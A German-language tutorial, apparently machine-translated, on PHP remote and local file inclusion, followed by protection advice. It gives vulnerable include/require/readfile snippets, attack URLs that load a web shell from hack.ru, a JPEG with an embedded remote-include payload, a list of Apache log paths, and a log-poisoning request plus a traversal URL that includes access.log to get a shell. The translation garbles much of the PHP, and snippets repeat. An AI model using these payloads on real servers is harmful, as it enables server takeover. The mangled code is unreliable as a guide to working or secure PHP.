PHP-umfassen und wie schützen



  • Globale umfassen Verwundbarkeit
  • Schutz gegen die globale inkluda
  • Lokale schließen Verwundbarkeit
  • Logs apatcha
  • Schutz vor lokalen inkluda


  • Einführung

    Globale umfassen Verwundbarkeit

    Je schwerer der Schwachstellen des Web, aber leider oder zum Glück heutzutage äußerst selten gefunden. Zum Angriff ist es erforderlich, was würden allow_url_include Funktion aktiviert wurde, das heißt "On"
    Die Sicherheitsanfälligkeit kann ein Angreifer beliebigen PHP-Server-Code auszuführen.
    In PHP gibt es vier Funktionen für Dateien in einem PHP-Skript, einschließlich:

    * Include ();
    * Include_once ();
    * Require ();
    * Require_once ().

    Include () Funktion enthält den Inhalt der Datei in das Skript. Nehmen wir das Beispiel der "doppelten" anfällige Code:
      <? Php
     
      if ($ _GET [ 'Seite' ]. '.php') 
      {
     
      umfassen (_GET [ 'Seite' $ ] '.php . '); 
      }
     
      sonst
     
      {
     
      include ($ file '.php'. ); 
      }
     
      ?>
    
    
    Mit den Bedingungen prüfen wir , ob der Server über die URL übergeben Element des Arrays $ _GET [ 'Seite'], der Anruf include () Funktion. Aufgrund der Tatsache, dass der Wert des Arrays $ _GET [ 'page'] nicht auf die Existenz geprüft, mit Hilfe von file_exists () Funktion kann ein Angreifer einen Angriff montieren:

    http://site.ru/index.php?page=http://hack.ru/shell Ansonsten inkluda wir (. $ file 'php. enthalten '); Hier genau die gleiche Situation, nur Code schreiben, ein wenig anders ist. Die Variable $ file ist nicht
    Es war auf jeden Fall ein Anfang und ein Angreifer remote PHP-Code ausführen:
    http://site.ru/index.php?file=http://hack.ru/shell include_once () Funktion ist praktisch identisch mit der include (), mit einer Ausnahme: bevor die Programmdatei drehen, es prüft wenn es wurde zuvor aktiviert. Wenn die Datei bereits aufgenommen wurde, wird include_once () Aufruf ignoriert, und wenn nicht - es ist eine Standard - Aufnahme - Datei.

    <?php
    include_once( $file . '.gif' ); ?>
    ); <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In diesem Beispiel wird eine Datei , die automatisch Erweiterung zugewiesen hochgeladen '.gif'
    Befreien Sie sich von der Erweiterung '.gif' auf zwei Arten:
    1) wenn magic_quotes_gpc = Off können Sie die "giftigen Null" verwenden - 00% , die Verlängerung geschnitten wird
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) , auch wenn magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? (Erforderlich) Funktion ist ähnlich der include (), mit einer Ausnahme - die Datei durch Parameter angegeben werden (), wird im Skript enthalten, unabhängig von ihrem Standort require () im Skript.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    Der Angriff ist ähnlich, aber in diesem Fall ist die Erweiterung nicht zugeschrieben:
    http://site.ru/index.php?page=http://hack.ru/shell.php require_once () Funktion lädt die Datei in das Skript nur einmal.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    Der Angriff ist ähnlich ...

    Betrachten wir nun eine weitere Option inkluda. Zu diesem Zeitpunkt ist es notwendig , dass in php.ini verwendet
    allow_url_fopen Parameterwert ist gleich auf, was der Standard ist.
    PHP - Code:
      <? Php
     
      $ F = fopen ( "$ file.php ", "r"); 
    
      während (! feof ($ f) ) 
      {
     
      $ S = fgets ($ f, 255);
     
      echo $ s;
     
      }
     
    
      fclose ($ f);
     
      ?>
    
    
    Aufgrund der Tatsache , dass die Variable $ Datei noch nicht bestimmt worden ist, kann der Angreifer einen Angriff durchführen:
    http://site.ru/index.php?file=http://hack.ru/shell Als Ergebnis erhält man wieder eine Web-Shell.

    Das folgende Beispiel - Verwendung ReadFile- () Funktion
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    Readfile () Funktion liest die Datei , deren Name als Parameter übergeben wird, und zeigt seinen Inhalt auf dem Bildschirm.
    Als Ergebnis erhalten wir wieder eine Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell nun diese Option berücksichtigen:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Die implodieren () Funktion verwenden, kombinieren wir die Elemente des Arrays in eine Zeichenfolge, die Datei () -Funktion den Inhalt einer Datei in ein Array erhalten. Als Ergebnis noch einmal, haben wir eine Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Schutz gegen die globale inkluda

    Natürlich können Sie die Datei überprüfen , indem file_exists () und filtern unerwünschte Zeichen mit str_replace () zu existieren, aber ich empfehle einen Entwurf Schaltergehäuse mit:

      <? Php
     
      global $ Seite;
     
      Schalter ($ page)
     
      {
     
      Fall '':
     
      include ( "pages / main.php") ; 
      brechen;
     
    
      Fall 'index':
     
      include ( "pages / main.php") ; 
      brechen;
     
      Fall 'Seite1':
     
      include ( "Seiten / Ordner / page1.php "); 
      brechen;
     
      Fall 'page2':
     
      include ( "Seiten / Ordner / page2.php "); 
      brechen;
     
    
      Standard:
     
      include ( "pages / hack.php") ; 
      brechen;
     
      }
     
      ?>
    
    
    So empfehle ich die php.ini - Datei zu bearbeiten:

    allow_url_include = Aus // Ist die Dateien inkluda nicht entfernen
    allow_url_fopen = Off // verbieten fopen Links zu öffnen
    register_globals = off // deaktivieren Sie die Initialisierung der globalen Variablen
    safe_mode = On // umfassen safe_mode (bei Hecker wird keinen Zugriff auf das Verzeichnis / etc / passwd und wie er)

    Lokale schließen Verwundbarkeit

    Nicht weniger gefährlich Schwachstelle im Internet. Es ermöglicht einem Angreifer Dateien auf einem Server liegen auf inkluda. Viele Neulinge diesen Fehler stoßen Web-Codierung werfen Angelegenheit, weil nicht wissen, wie es weitergeht und in welcher Richtung zu graben. Ich werde ein allgemeines Beispiel geben:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Globale proinkludit nicht passieren, weil die Variable $ Datei nach dem Verzeichnis zugeordnet wird / include /
    Was kann getan werden?

    Das Ideal ist ein Fall, in dem die Seite ist, oder ein Forum oder eine andere Form, die verwendet werden können, eine beliebige Datei eine beliebige Erweiterung c zum Download bereit.
    Stellt sich die Frage - warum mit jeder Erweiterung? Nehmen Sie zum Beispiel eine fiktive Ort, wo es möglich ist, Avatare durch das Forum zum Download bereit. Das Forum ist ein Skript, das prüft, - ob der Benutzer tatsächlich das Foto hochgeladen? Öffnen Sie die Farbe und halten jedes Bild zum Beispiel im jpg-Format. Dann sein Notizbuch öffnen und dann den Code Bild schreiben < ? Php include ( "http://hack.ru/shell.php") ?; ?> Als Ergebnis erhalten wir etwa folgendes Bild:
    			
     yaShyaa JFIF `` Yay C           		 
     
    
                     $. '  "# (7) 01 444 '9 = 82 <C .342yaY 			  
    
      2!  ! 222222222222222222222222222222222222222222222 22222yaA 6. Juni "Gift                    	
      Yad μ}! 1A Qa "q 2Ѓ'Ў # B ± B Rav $ 3br,	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ "... † ‡ € ‰ š'" "• - ~ ™ љўЈ¤Ґ | §Ё © ЄІіґμ¶ · ё№єVGDEZhZIYKTUFHTsChShSchbvgd ezhziykstufhtschshschyaD                       	
      Yad μ w! 1 AQ aq "2Ѓ B'Ў ± B # 3RR BRS
    
      $ 4b% bis & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz, ѓ "... † ‡ € ‰ š'" "• - ~ ™ љўЈ¤Ґ | §Ё © ЄІіґμ¶ · ё№єVGDEZhZIYKTUFHTsChShSchvgde zhziyktufhtschshschya?  ch (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
    
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ЎЂ? Crate
     <? Php include ( "http://hack.ru/shell.php") ?;  ?>
    
    Jetzt können Sie ein Bild auf das Forum hochladen und es wird von ihm als Bild wahrgenommen werden
    Lassen Sie uns auf die Frage der Expansion zurückzukehren. Warum passen wir jemand? Die Tatsache, dass die Funktion include ()
    lädt den Code aus einer Datei in die ausführbare Datei. Hier ist ein Beispiel:
    http://www.site.com/index.php?include=../forum/images/shell.jpg Als Ergebnis sind der Code in der Datei index.php, <? php ( "http://hack.ru/ shell.php "); ?>

    Logs apatcha

    Wie gut hält Apache bekannt ist , eine Protokolldatei httpd-access.log und httpd-error.log und alle Anfragen
    natürlich protokolliert und an die entsprechenden Dateien geschrieben. Hier ist ein Beispiel von ihrem Standort:
     /logs/error.log
     /logs/access.log
    
     / Logs / error_log
     / Logs / access_log
    
     / Var / log / error_log 
     / Var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / Var / www / logs / error_log
     /var/www/logs/error.log
    
     / Var / www / logs / access_log
     /var/www/logs/access.log
    
     / Var / log / apache / error_log
     /var/log/apache/error.log
     / Var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / Var / log / httpd / error_log
     / Var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / Apache / logs / error_log
     / Apache / logs / access_log
    
     Verzeichnis / usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     Verzeichnis / usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / Home / www / logs / error_log
     /home/www/logs/error.log
     / Home / www / logs / access_log
     /home/www/logs/access.log
    
    Ich will ein Beispiel geben zu lokalhoste, ich glaube, viele wird klarer. Mit InetCrack Programm senden ich ein Paket solcher Inhalte:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    Titel Paket wird in den Protokollen apatcha aufgezeichnet an der Adresse:
    Z:\usr\local\apache\logs\access.log \ logs \ ACCESS.LOG Dh wird eine solche Zeile in die Datei , deren Name geschrieben wird , endet:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 ?; HTTP (" http://hack.ru/shell.php ")> 127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 ich denke , die Essenz ist klar. Es bleibt seine proinkludit:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log / .. / .. / usr / local / apache / logs / access.log? Und Sie erhalten eine Web-Schale :)

    Schutz vor lokalen inkluda

    Hier ist ein kleines Beispiel wie Sie sicher schützen:
      <? Php
     
    


    Funktion stripslashes_for_array (& $ array)
    {
    Reset ($ array);
    while (list ($ key, $ val) = each ($ array))
    {
    if (is_string ($ val)) $ array [$ key] = strip ($ val);
    elseif (is_array ($ val)) $ array [$ key] = stripslashes_for_array ($ val);
    }
    return $ Array;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ($ _POST);
    stripslashes_for_array ($ _GET);
    }

    if (isset ($ _GET [ ' Datei'])) $ file = $ _GET [ 'Datei'];
    sonst
    {
    if (isset ($ _POST [ ' Datei'])) $ file = $ _POST [ 'Datei']; sonst $ file = ''; } $ File = str_replace ( '/' , '', $ file); $ File = str_replace ( '' , $ file ' . '); if (! file_exists ( "include" . '/'. $ file. '.php') || $ file == 'index') { $ File = 'Nachrichten'; } include ( "include" '/' $ file '.php' ...); ?>

    Und so, was passiert dann? Jedes Element ist Funktion strip geprüft (). Es tötet Backslash. Dann überprüfen Sie die installierte oder nicht den Wert des Array-Elements. Otfiltrovuem ungültige Zeichen ( '/', '.') Funktion str_replace (). Wenn die Datei nicht existiert (überprüfen Sie die file_exists () -Funktion) - einen Wert von "Nachrichten" der Variable $ file = zuweisen. In anderen Fällen (wenn die Datei existiert) inkluda es.